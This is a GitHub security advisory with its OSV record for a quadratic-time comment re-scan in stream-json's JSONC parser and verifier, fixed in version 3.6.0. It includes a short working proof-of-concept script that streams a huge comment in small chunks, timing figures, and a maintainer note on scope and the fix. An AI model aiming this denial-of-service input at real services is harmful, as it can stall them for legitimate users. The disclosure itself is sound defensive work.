GHSA-HQR4-QQ8F-HG3X
Vulnerability from github – Published: 2026-10-05 22:49 – Updated: 2026-10-05 22:49Summary
The JSONC parser (stream-json/jsonc/parser.js) and verifier (stream-json/jsonc/verifier.js) scan a comment for its terminator starting from the comment's opening / on every input chunk. When a comment doesn't finish inside the current buffer, the scanner returns the comment's start offset and the buffer keeps the whole comment, so the next chunk re-scans everything seen so far. A single comment of length n delivered across many chunks costs O(n²) CPU.
This is the same class as GHSA-528h-pc64-c93x (path filters, medium, CWE-407): an algorithmic-complexity re-scan in a streaming feature. It's a different code path though — the comment scanner in handleComment, which the 3.5.0 depth cap doesn't touch — so upgrading past that advisory doesn't help here. The plain JSON parser is fine: its strings and numbers advance and drop consumed bytes, and only comments retain and re-scan.
Proof of concept
npm i stream-json@3.5.0
import Parser from 'stream-json/jsonc/parser.js';
function feed(N) {
return new Promise(resolve => {
const stream = Parser.asStream(); // default options
stream.on('data', () => {});
stream.on('error', () => {});
stream.on('end', resolve);
const doc = '/*' + 'a'.repeat(N) + '*/1'; // one valid, closed comment
for (let i = 0; i < doc.length; i += 16384) // 16 KB pieces, as a socket delivers a body
stream.write(doc.slice(i, i + 16384));
stream.end();
});
}
Timing the pipeline (Node 22, one core, clean install): a 2 MB comment blocks the event loop ~0.9 s, 4 MB ~2.9 s, 8 MB ~13 s — roughly 4x per doubling, so quadratic. Smaller chunks make it worse, and the attacker controls TCP segment size: a fixed 4 MB comment takes ~0.75 s at 64 KB chunks, ~2.8 s at 16 KB, ~11 s at 4 KB. Feeding the same input to the JSONC verifier reproduces it identically.
Impact
Remote, unauthenticated CPU denial of service against any service that runs untrusted input through the JSONC parser or verifier: one request pins a core and stalls the whole event loop.
Caveat
Only the JSONC entry points are affected; an app on the default JSON parser is safe. The comment doesn't need to be malformed - a valid, properly closed comment does it. The payload is a few MB, or less if the client sends small chunks. I've suggested medium and left the CVSS vector to you.
Maintainer note on scope
The attack vector is local — stream-json's documented input is data the user owns (JSONC is configuration you wrote); it is not designed for input from the open internet, and the docs now say so explicitly for JSONC. Comments now mirror chunked strings (startComment / commentChunk / endComment, packed commentValue); the scan resumes across input chunks, so a comment of any length costs linear time, and constant memory without packing.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.5.0"
},
"package": {
"ecosystem": "npm",
"name": "stream-json"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-104182"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-05T22:49:27Z",
"nvd_published_at": "2026-10-01T21:17:19Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe JSONC parser (`stream-json/jsonc/parser.js`) and verifier (`stream-json/jsonc/verifier.js`) scan a comment for its terminator starting from the comment\u0027s opening `/` on every input chunk. When a comment doesn\u0027t finish inside the current buffer, the scanner returns the comment\u0027s start offset and the buffer keeps the whole comment, so the next chunk re-scans everything seen so far. A single comment of length n delivered across many chunks costs O(n\u00b2) CPU.\n\nThis is the same class as GHSA-528h-pc64-c93x (path filters, medium, CWE-407): an algorithmic-complexity re-scan in a streaming feature. It\u0027s a different code path though \u2014 the comment scanner in `handleComment`, which the 3.5.0 depth cap doesn\u0027t touch \u2014 so upgrading past that advisory doesn\u0027t help here. The plain JSON parser is fine: its strings and numbers advance and drop consumed bytes, and only comments retain and re-scan.\n\n## Proof of concept\n\n```\nnpm i stream-json@3.5.0\n```\n\n```js\nimport Parser from \u0027stream-json/jsonc/parser.js\u0027;\n\nfunction feed(N) {\n return new Promise(resolve =\u003e {\n const stream = Parser.asStream(); // default options\n stream.on(\u0027data\u0027, () =\u003e {});\n stream.on(\u0027error\u0027, () =\u003e {});\n stream.on(\u0027end\u0027, resolve);\n const doc = \u0027/*\u0027 + \u0027a\u0027.repeat(N) + \u0027*/1\u0027; // one valid, closed comment\n for (let i = 0; i \u003c doc.length; i += 16384) // 16 KB pieces, as a socket delivers a body\n stream.write(doc.slice(i, i + 16384));\n stream.end();\n });\n}\n```\n\nTiming the pipeline (Node 22, one core, clean install): a 2 MB comment blocks the event loop ~0.9 s, 4 MB ~2.9 s, 8 MB ~13 s \u2014 roughly 4x per doubling, so quadratic. Smaller chunks make it worse, and the attacker controls TCP segment size: a fixed 4 MB comment takes ~0.75 s at 64 KB chunks, ~2.8 s at 16 KB, ~11 s at 4 KB. Feeding the same input to the JSONC verifier reproduces it identically.\n\n## Impact\n\nRemote, unauthenticated CPU denial of service against any service that runs untrusted input through the JSONC parser or verifier: one request pins a core and stalls the whole event loop.\n\n## Caveat\n\nOnly the JSONC entry points are affected; an app on the default JSON parser is safe. The comment doesn\u0027t need to be malformed - a valid, properly closed comment does it. The payload is a few MB, or less if the client sends small chunks. I\u0027ve suggested medium and left the CVSS vector to you.\n\n---\n\n# Maintainer note on scope\n\nThe attack vector is local \u2014 stream-json\u0027s documented input is data the user owns (JSONC is configuration you wrote); it is not designed for input from the open internet, and the docs now say so explicitly for JSONC. Comments now mirror chunked strings (`startComment` / `commentChunk` / `endComment`, packed `commentValue`); the scan resumes across input chunks, so a comment of any length costs linear time, and constant memory without packing.",
"id": "GHSA-hqr4-qq8f-hg3x",
"modified": "2026-10-05T22:49:27Z",
"published": "2026-10-05T22:49:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/uhop/stream-json/security/advisories/GHSA-hqr4-qq8f-hg3x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104182"
},
{
"type": "WEB",
"url": "https://github.com/uhop/stream-json/commit/c0299dc168ce9455ef5ca5b6a0f6850ee7fa0468"
},
{
"type": "PACKAGE",
"url": "https://github.com/uhop/stream-json"
},
{
"type": "WEB",
"url": "https://github.com/uhop/stream-json/releases/tag/3.6.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "stream-json: JSONC parser and verifier re-scan the whole accumulated comment on every input chunk"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.